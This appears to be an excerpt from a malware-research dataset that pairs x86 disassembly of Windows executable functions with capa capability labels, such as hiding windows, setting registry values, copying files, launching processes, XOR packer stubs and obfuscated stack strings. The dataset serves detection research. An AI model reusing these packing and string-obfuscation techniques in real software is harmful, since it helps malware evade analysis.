joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44db3c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x454b44]
cmp dword [eax + 0x30], 0
je 0x44dbe6
cmp dword [ebx + 0x94], 0
jne 0x44dbe0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44dacc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44dbe0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44dba6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44dbe0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413f58
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44dbb5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44e744
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44e779
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004044d4
jmp 0x44e786
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404438
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44f8a8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44f8e9
mov eax, esi
call fcn.00435eb0
test al, al
je 0x44f8e9
mov eax, dword [ebx + 0x84]
call fcn.00435bac
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44f8e9
push 0
mov eax, dword [ebx + 0x84]
call fcn.00435bac
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4505ec
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00450334
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.004048a4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x45064a
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x452ef8]
mov dl, 1
mov eax, dword [0x4501ec]
call fcn.0040ba20
call fcn.00403df8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x450cc8
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push 0x450cfc
push 0
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x450cf0
push 0
push 0
push 0
push 0x450d14
push 0x450d20
push 0
call sub.shell32.dll_ShellExecuteA
ret
push 0
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x450d28
Capabilities:
Create process on windows

Disassembly:
push 0x450d5c
push 0
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x450d50
push 5
push 0
push 0
push 0x450d74
push 0x450d80
push 0
call sub.shell32.dll_ShellExecuteA
ret
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x450ee8
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x45101f
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, dword [0x452f68]
mov eax, dword [eax]
call fcn.0044f258
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 8]
lea eax, [ebp - 0xc]
call fcn.00402f6c
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
mov dl, byte [edx + 1]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x10]
lea eax, [ebp - 0xc]
mov cl, 2
call fcn.00402f3c
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x14]
call fcn.00402f6c
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 4]
mov dl, byte [edx + 2]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x14]
mov cl, 3
call fcn.00402f3c
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x28]
call fcn.00402f6c
mov edx, 0x45102c
lea eax, [ebp - 0x28]
mov cl, 0x12
call fcn.00402f3c
lea edx, [ebp - 0x28]
lea eax, [ebp - 4]
call fcn.00404648
mov eax, dword [ebp - 4]
call fcn.00408780
test al, al
je 0x450fac
mov eax, dword [ebp - 4]
call fcn.004087b8
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
call fcn.004048a4
mov esi, eax
push esi
lea edx, [ebp - 0x2c]
mov eax, dword [0x452f68]
mov eax, dword [eax]
call fcn.0044f258
mov eax, dword [ebp - 0x2c]
call fcn.004048a4
push eax
call sub.kernel32.dll_CopyFileA
mov edx, 3
mov eax, dword [ebp - 4]
call fcn.00408790
push 1
push 0
push 0
push esi
push 0x45103c
mov eax, ebx
call fcn.00435bac
push eax
call sub.shell32.dll_ShellExecuteA
call fcn.004042ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x451026
lea eax, [ebp - 0x2c]
call fcn.004043e4
lea eax, [ebp - 4]
call fcn.004043e4
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4205c5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push 0x22
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.0042b43b
add esp, 0xc
push 0x21
push 0x419d5c
lea ecx, [ebp - 0x138]
push ecx
call fcn.00435014
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 1
push 0
lea eax, [ebp - 0x138]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x4206cd
push 0x22
push 0
lea ecx, [ebp - 0x138]
push ecx
call fcn.0042b43b
add esp, 0xc
push 0xb
push 0x419d80
lea edx, [ebp - 0x138]
push edx
call fcn.00435014
add esp, 0xc
mov dword [ebp - 0x13c], 0x105
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x10c]
push edx
push 0
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x4206c0
push 0x105
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00435014
add esp, 0xc
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x4206cf
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4220ce
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0042b43b
add esp, 0xc
cmp edi, dword [esp]
mov esp, esp
jns 0x4220ee
jp 0x4220fb
xchg ebx, ebx
jae 0x4220f4
xchg edx, eax
xchg edx, eax
jbe 0x4220f8
jnp 0x4220fb
mov ebx, 0x46f045c6
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 9], 0x64
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 8], 0x66
mov byte [ebp - 0xc], 0x51
mov byte [ebp - 7], 0x74
sub ecx, 0
nop
nop
jbe 0x42214a
pushf
add esp, 0
neg edx
neg edx
nop
dec esi
inc esi
popf
lea esp, [esp]
xchg esi, esi
mov edi, edi
ja 0x42214a
add eax, 0x80f04d8a
jmp 0xf08fa954
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
xor ebx, dword [esp + 0xc]
xor ebx, dword [esp + 0xc]
cmc
jo 0x4221b5
jbe 0x4221c5
pushf
sub esp, 0
popf
mov eax, eax
jg 0x4221c2
ja 0x4221c5
call 0x131edb1
add byte [ecx + 0x7d83fc45], cl
cld
add byte [ebp + 4], dh
call fcn.00431195
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4221d7
xor eax, eax
jmp 0x42220b
ror eax, 5
ror eax, 0x1b
ror esp, 0
jo 0x4221e8
jns 0x4221e4
jno 0x4221e8
add eax, 0xf0458d9a
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042e450
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0042b43b
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42240b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0042b43b
add esp, 0xc
xchg edx, edx
jo 0x422436
pushf
jae 0x42242c
cmc
mov ecx, ecx
popf
jb 0x422433
jno 0x422436
mov esp, 0x48ec45c6
mov byte [ebp - 0x14], 0x48
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 0xa], 0x55
mov byte [ebp - 0x13], 0x66
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 9], 0x6a
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0xd], 0x66
mov byte [ebp - 8], 0x6e
mov byte [ebp - 0x11], 0x51
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 7], 0x66
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0
jge 0x422478
cmc
ror esp, 0
jp 0x422489
lea eax, [eax]
mov esp, esp
xchg edx, eax
xchg edx, eax
mov ebx, ebx
jnp 0x422489
mov edx, 0x80ec4d8a
jmp 0xec8fac93
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 7]
sub al, 1
mov byte [ebp - 7], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
call fcn.00431195
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x422520
xor eax, eax
jmp 0x4225f9
jno 0x422522
jne 0x422538
lea edx, [edx + 0x2be9]
lea edx, [edx - 0x2be9]
lea esp, [esp]
je 0x422538
ljmp 0x51ec:0x4d8d9f46
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0042e450
mov dword [ebp - 0x18], eax
jnp 0x42254a
jb 0x42254c
not ebx
not ebx
jp 0x422552
jbe 0x42255f
pushf
lea eax, [eax]
popf
jae 0x42255c
ja 0x42255f
mov ebx, 0x6a106a
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0042b43b
add esp, 0xc
cmc
shr ecx, 0
jnp 0x422594
pushf
jge 0x422579
xor ebx, dword [esp]
xor ebx, dword [esp]
popf
ja 0x422583
jae 0x422585
lea eax, [eax + 0x207f]
lea eax, [eax - 0x207f]
jp 0x422594
mov ebp, 0xe87d83
cmp dword [ebp - 0x18], 0
jne 0x42259e
xor eax, eax
jmp 0x4225f9
mov edx, edx
ja 0x4225b1
pushf
mov esp, esp
jo 0x4225a8
popf
js 0x4225ac
je 0x4225ae
jbe 0x4225b1
mov eax, 0x51e84d8b
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.004384ea
add esp, 4
std
cld
call fcn.004225c4
Function at 0x42e514
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [0x419a58], 1
jne 0x42e658
push 0xb
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0042b43b
add esp, 0xc
std
cld
shr ebx, 0
jp 0x42e548
xchg ebx, ebx
jo 0x42e545
jnp 0x42e548
add esi, 0xc648e845
inc ebp
in eax, dx
insd dword es:[edi], dx
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x47
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0xf], 0x66
xchg esi, esi
xor ebx, dword [esp]
xor ebx, dword [esp]
add esp, 0
lea esi, [esi + 0x22e1]
lea esi, [esi - 0x22e1]
jns 0x42e59e
jp 0x42e58f
lea edx, [edx + 0x37fc]
lea edx, [edx - 0x37fc]
js 0x42e59e
mov eax, 0x80e84d8a
jmp 0xe8906da8
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
call fcn.00431195
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42e60b
mov eax, dword [ebp + 8]
jmp 0x42e6eb
test edx, esi
jp 0x42e61d
xchg ebx, esi
xchg ebx, esi
jmp 0x42e615
lea esp, [esp]
jnp 0x42e61d
mov esi, 0x558db2a1
call 0xf4887176
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.0042e450
mov dword [ebp - 8], eax
push 0xb
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0042b43b
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x42e64e
mov edx, dword [ebp - 8]
mov dword [0x419a58], edx
jmp 0x42e656
mov eax, dword [ebp + 8]
jmp 0x42e6eb
jmp 0x42e660
mov eax, dword [0x419a58]
mov dword [ebp - 8], eax
ja 0x42e662
jle 0x42e664
ror eax, 0x1b
ror eax, 5
jb 0x42e691
pushf
call fcn.0042e673
Function at 0x433e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x12
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0042b43b
add esp, 0xc
add ecx, 0
cmp ecx, dword [esp]
jo 0x433e41
je 0x433e4d
jne 0x433e45
xchg esp, esp
jnp 0x433e49
jne 0x433e4d
mov edi, 0xe845c6b9
dec eax
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0xe], 0x51
mov byte [ebp - 9], 0x74
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 7], 0
mov byte [ebp - 0x15], 0x44
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xa], 0x66
add eax, dword [esp]
sub eax, dword [esp]
je 0x433eaa
jle 0x433e9f
jg 0x433ea1
je 0x433ea3
lea esp, [esp]
jne 0x433eaa
mov edi, 0xe84d8a59
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
call fcn.00431195
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x433f53
xor eax, eax
jmp 0x434000
mov eax, eax
xchg esp, esp
jae 0x433f59
jge 0x433f70
pushf
shr esp, 0
cmp ecx, edx
shl esi, 0
popf
jg 0x433f69
jl 0x433f6b
mov edx, edx
jl 0x433f70
mov edi, 0x50e8458d
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042e450
mov dword [ebp - 0x1c], eax
push 0x12
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.0042b43b
add esp, 0xc
xchg edi, ebx
xchg edi, ebx
jbe 0x433fa5
lea eax, [eax + 0x69c2]
lea eax, [eax - 0x69c2]
ja 0x433fa5
ljmp 0x475:0xe47d83
cmp dword [ebp - 0x1c], 0
jne 0x433faf
xor eax, eax
jmp 0x434000
jnp 0x433fb1
stc
cmp esi, dword [esp]
ja 0x433fcc
xchg ebx, edi
xchg ebx, edi
jns 0x433fbd
lea ecx, [ecx + 0x3b2d]
lea ecx, [ecx - 0x3b2d]
jbe 0x433fcc
mov ebp, 0x50e4458b
mov eax, dword [ebp - 0x1c]
push eax
call fcn.004384ea
add esp, 4
jg 0x433fda
std
cld
sub edi, 0
ja 0x433ffd
pushf
cld
shr ecx, 0
popf
jl 0x433feb
lea ebx, [ebx + 0x1499]
lea ebx, [ebx - 0x1499]
lea esp, [esp]
jbe 0x433ffd
call 0x60279600
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x434e85
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0042b43b
add esp, 0xc
jno 0x434ea0
jnp 0x434eab
nop
ja 0x434ea5
jp 0x434ea7
jp 0x434eab
mov ecx, 0xec45c6e6
inc edi
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0x10], 0x4d
mov byte [ebp - 0xf], 0x6a
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x7a
mov byte [ebp - 9], 0
sub esi, 0
ja 0x434eef
pushf
cmc
lea esp, [esp]
lea edx, [edx]
popf
jns 0x434eec
jbe 0x434eef
mov ecx, 0x80ec4d8a
jmp 0xec90d6f9
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
lea ecx, [ecx]
or esp, 0
cmp esp, 0x4c44
mov esp, esp
jns 0x434f66
xchg esp, esp
jb 0x434f62
js 0x434f66
mov edx, 0xc22ae839
invalid
call fcn.00431195
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x434f7b
xor eax, eax
jmp 0x43500b
or esp, 0
jle 0x434f94
pushf
call 0x434f87
lea esp, [esp + 4]
popf
lea edx, [edx]
jge 0x434f91
jg 0x434f94
xor eax, 0x50ec458d
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0042e450
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.0042b43b
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x434ff6
and esp, 0xffffffff
xor edx, dword [esp]
xor edx, dword [esp]
je 0x434fcd
ja 0x434fc7
jge 0x434fc9
jne 0x434fcd
sub eax, 0xfc458bb0
mov eax, dword [ebp - 4]
push eax
call fcn.004384ea
add esp, 4
call 0x434fde
add esp, 4
jge 0x434fed
jne 0x434fe5
jnp 0x434fe7
jg 0x434fe9
nop
jl 0x434fed
call 0x514b9d7c
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
jmp 0x43500b
shr esp, 0
jp 0x435009
pushf
xchg ecx, ecx
nop
or edx, edx
popf
jle 0x435006
jnp 0x435009
mov edx, 0x5e5fc033
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4353cd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0042b43b
add esp, 0xc
xchg edx, ebx
xchg edx, ebx
js 0x4353f3
rol edx, 0x1c
rol edx, 4
jb 0x435405
ja 0x4353fd
nop
lea edx, [edx]
ja 0x435402
jae 0x435405
mov esp, 0x4ef045c6
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
mov edi, edi
not edx
not edx
nop
jl 0x43543e
je 0x43545c
pushf
jle 0x435444
shl esp, 0
lea edi, [edi]
popf
lea edi, [edi]
lea eax, [eax + 0x646d]
lea eax, [eax - 0x646d]
jne 0x43545c
call 0x8133a1ea
jmp 0xf090dc66
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
cmp esi, edx
cld
xor eax, 0
jo 0x4354cd
jg 0x4354c6
jle 0x4354c8
ja 0x4354ca
jno 0x4354cd
ljmp 0x89ff:0xfecd40e8
call fcn.00422212
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4354df
xor eax, eax
jmp 0x435519
neg edi
neg edi
cmc
xor esp, 0
add esp, 0
jo 0x4354f6
jae 0x4354ee
xchg esi, esi
jl 0x4354f2
jno 0x4354f6
mov esp, 0xf0458d51
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042e450
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0042b43b
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret